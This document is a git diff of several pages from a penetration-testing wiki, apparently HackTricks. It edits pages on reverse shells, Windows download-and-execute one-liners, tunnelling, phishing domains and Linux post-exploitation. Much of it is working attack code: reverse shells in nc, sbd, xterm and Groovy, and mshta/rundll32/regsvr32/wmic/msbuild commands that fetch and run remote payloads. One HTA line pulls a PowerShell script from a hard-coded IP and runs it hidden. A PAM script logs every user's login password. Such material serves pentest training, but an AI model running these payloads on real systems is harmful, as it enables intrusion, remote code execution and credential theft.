**You can find a short the explanation of this technique in the parent page. Or read the original research in [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)**
|
||||
|
||||
|
||||
For example, a 1 bit modification in the domain microsoft.com can transform it into _windnws.com._\
|
||||
**Attackers may register as many bit-flipping domains as possible related to the victim to redirect legitimate users to their infrastructure**.
|
||||
|
||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
**All possible bit-flipping domain names should be also monitored.**
|
||||
|
||||
|
@ -69,7 +66,7 @@ It's not possible to take the previous "Brute-Force" approach but it's actually
|
|||
|
||||
The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggests that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt":
|
||||
|
||||
![](<../../.gitbook/assets/image (390).png>)
|
||||
![https://0xpatrik.com/content/images/2018/07/cert_listing.png](<../../.gitbook/assets/image (390).png>)
|
||||
|
||||
However, you can do "the same" using the free web [**crt.sh**](https://crt.sh). You can **search for the keyword** and the **filter** the results **by date and CA** if you wish.
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -95,7 +95,7 @@ Do this because you **can't save macro's inside a `.docx`** and there's a **stig
|
|||
|
||||
## HTA Files
|
||||
|
||||
An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application.
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
|
||||
|
||||
|
@ -182,7 +182,7 @@ Don't forget that you cannot only steal the hash or the authentication but also
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -73,7 +73,8 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
|
||||
## Forward Shell
|
||||
|
||||
You might find cases where you have an **RCE in a web app in a Linux machine** but due to Iptables rules or other kinds of filtering **you cannot get a reverse shell**. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system.\
|
||||
If you encounter an **RCE vulnerability** within a Linux-based web application, there might be instances where **obtaining a reverse shell becomes difficult** due to the presence of Iptables rules or other filters. In such scenarios, consider creating a PTY shell within the compromised system using pipes.
|
||||
|
||||
You can find the code in [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
|
||||
You just need to modify:
|
||||
|
@ -337,22 +338,19 @@ BEGIN {
|
|||
|
||||
## Xterm
|
||||
|
||||
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
|
||||
This will try to connect to your system at port 6001:
|
||||
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
|
||||
|
||||
```bash
|
||||
Xnest :1
|
||||
```
|
||||
|
||||
You’ll need to authorise the target to connect to you (command also run on your host):
|
||||
To catch the reverse shell you can use (which will listen in port 6001):
|
||||
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
# Listen
|
||||
Xnest :1
|
||||
```
|
||||
|
||||
## Groovy
|
||||
|
@ -366,15 +364,12 @@ String cmd="cmd.exe";
|
|||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
|
||||
## Bibliography
|
||||
## References
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %}
|
||||
|
||||
{% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %}
|
||||
|
||||
{% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -35,7 +35,20 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
|
||||
## SBD
|
||||
|
||||
**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat.
|
||||
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
listening on port 4444
|
||||
|
||||
|
||||
# Atackers
|
||||
sbd 10.10.10.10 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
|
||||
## Python
|
||||
|
||||
|
@ -113,30 +126,23 @@ $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $c
|
|||
|
||||
## Mshta
|
||||
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
||||
Process performing network call: **mshta.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
```bash
|
||||
mshta http://webserver/payload.hta
|
||||
```
|
||||
|
||||
Process performing network call: **mshta.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)**
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
||||
|
@ -146,7 +152,7 @@ Payload written on disk: **WebDAV client local cache**
|
|||
|
||||
[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION ID="HelloExample">
|
||||
|
@ -167,7 +173,7 @@ Payload written on disk: **WebDAV client local cache**
|
|||
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
|
||||
|
@ -199,31 +205,30 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
|||
|
||||
**Detected by defender**
|
||||
|
||||
|
||||
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
|
||||
Process performing network call: **rundll32.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
**Detected by defender**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```bash
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
|
||||
|
@ -259,20 +264,17 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
|
||||
## Regsvr32
|
||||
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
||||
Process performing network call: **regsvr32.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
**Detected by defender**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
@ -313,6 +315,8 @@ run
|
|||
|
||||
## Certutil
|
||||
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
Download a B64dll, decode it and execute it.
|
||||
|
||||
```bash
|
||||
|
@ -389,16 +393,16 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
|
||||
## **Wmic**
|
||||
|
||||
```
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
|
||||
Process performing network call: **wmic.exe**\
|
||||
Payload written on disk: **IE local cache**
|
||||
|
||||
Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
|
||||
```
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
<output method="text"/>
|
||||
|
@ -416,13 +420,12 @@ Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d
|
|||
|
||||
## Msbuild
|
||||
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\
|
||||
Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
|
||||
|
@ -446,26 +449,24 @@ You can download a basic C# reverse shell from here: [https://gist.github.com/Ba
|
|||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
```
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
**I haven't tried it**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
## Odbcconf
|
||||
|
||||
```
|
||||
* [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
|
||||
Process performing network call: **svchost.exe**\
|
||||
Payload written on disk: **WebDAV client local cache**
|
||||
|
||||
**I haven't tried it**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
@ -567,7 +568,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX)
|
||||
|
||||
## Bibliography
|
||||
## References
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
|
@ -575,7 +576,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive
|
|||
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
|
||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -194,9 +194,9 @@ rportfwd stop [bind port]
|
|||
|
||||
To note:
|
||||
|
||||
* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines.
|
||||
* The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links.
|
||||
* You **don't need to be a local admin** to create reverse port forwards on high ports.
|
||||
- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**.
|
||||
- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links.
|
||||
- **Admin privileges are not required** to create reverse port forwards on high ports.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
|
@ -391,7 +391,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
|||
|
||||
Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
|
||||
|
||||
**Connect** via **RDP** and upload & execute in the victim machine the **`SocksOverRDP-Server.exe` ** binary:
|
||||
**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
|
||||
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
|
@ -464,7 +464,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
||||
### DNSCat2
|
||||
|
||||
****[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
|
||||
[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Establishes a C\&C channel through DNS. It doesn't need root privileges.
|
||||
|
||||
|
@ -518,7 +518,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1
|
|||
|
||||
### ptunnel-ng
|
||||
|
||||
****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
|
||||
[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
|
||||
|
||||
```bash
|
||||
# Generate it
|
||||
|
@ -618,7 +618,7 @@ tunnels:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -77,7 +77,7 @@ The steps are relatively easy and do not require any kind of expertise to unders
|
|||
|
||||
## EverythingExec
|
||||
|
||||
As of 12/12/2022 I have found a number of alternatives to `dd`, one of which, `tail`, is currently the default program used to `lseek()` through the `mem` file (which was the sole purpose for using `dd`). Said alternatives are:
|
||||
There are several alternatives to `dd`, one of which, `tail`, is currently the default program used to `lseek()` through the `mem` file (which was the sole purpose for using `dd`). Said alternatives are:
|
||||
|
||||
```bash
|
||||
tail
|
||||
|
@ -100,6 +100,9 @@ SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls
|
|||
|
||||
Block this, EDRs.
|
||||
|
||||
# References
|
||||
* [https://github.com/arget13/DDexec](https://github.com/arget13/DDexec)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -16,7 +16,7 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
FreeIPA is presented as an open source **alternative** to Microsoft Windows **Active** **Directory** and is utilized primarily in **Unix** environments for integrated management. It features a full **LDAP directory** backed by an MIT **Kerberos** Key Distribution Center, similar to Active Directory. The Dogtag **Certificate System** is employed for managing CA & RA certificates, enabling **multi-factor** authentication capabilities, including smartcards. For integration into the Unix authentication process, SSSD is utilized.
|
||||
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes.
|
||||
|
||||
## Fingerprints
|
||||
|
||||
|
|
|
@ -53,22 +53,6 @@ cat /proc/$$/environ
|
|||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||
```
|
||||
|
||||
## Persistent Environment variables
|
||||
|
||||
#### **Files that affect behavior of every user:**
|
||||
|
||||
* _**/etc/bash.bashrc**_: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed.
|
||||
* _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in.
|
||||
* \*\*Example: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
TEST=$(cat /var/somefile)
|
||||
export $TEST
|
||||
```
|
||||
|
||||
## Common variables
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
|
|
@ -22,100 +22,48 @@ Let's configure a PAM module to log each password each user uses to login. If yo
|
|||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
First, we create a bash script that will be invoked whenever a new authentication occurs.
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
|
||||
|
||||
**Technique Overview:**
|
||||
Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
|
||||
|
||||
**Capturing Credentials:**
|
||||
- A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`.
|
||||
- The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script.
|
||||
- The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
```
|
||||
|
||||
The variables are PAM specific and will become available via the `pam_exec.so` module.
|
||||
|
||||
Here is the meaning of the variables:
|
||||
|
||||
* **$PAM\_USER:** The username that was entered.
|
||||
* **$PAM\_RHOST:** The remote host (typically the IP Address)
|
||||
* **$(cat -):** This reads `stdin`, and will contain the password that the script grabs
|
||||
* The results are piped into a log file at `/var/log/toomanysecrets.log`
|
||||
|
||||
To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.:
|
||||
|
||||
```bash
|
||||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
|
||||
Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script.
|
||||
|
||||
There are various config files located in `/etc/pam.d/`, and we pick `common-auth`.
|
||||
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
|
||||
On the very bottom of the file, add the following authentication module:
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
The options have the following meaning:
|
||||
|
||||
* **optional:** Authenticaiton shouldn’t fail if there is an error (it’s not a required step)
|
||||
* **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts
|
||||
* **expose\_authtok:** This is the trick that allows to read the password via `stdin`
|
||||
* **quiet:** Don’t show any errors to the user (if something doesn’t work)
|
||||
* The last argument is the shell script that was created previously
|
||||
|
||||
![](<../../.gitbook/assets/image (375).png>)
|
||||
|
||||
Finally, make the file executable:
|
||||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
Now, let’s try this out and ssh from another machine, or login locally.
|
||||
|
||||
And then look at the log file:
|
||||
|
||||
```
|
||||
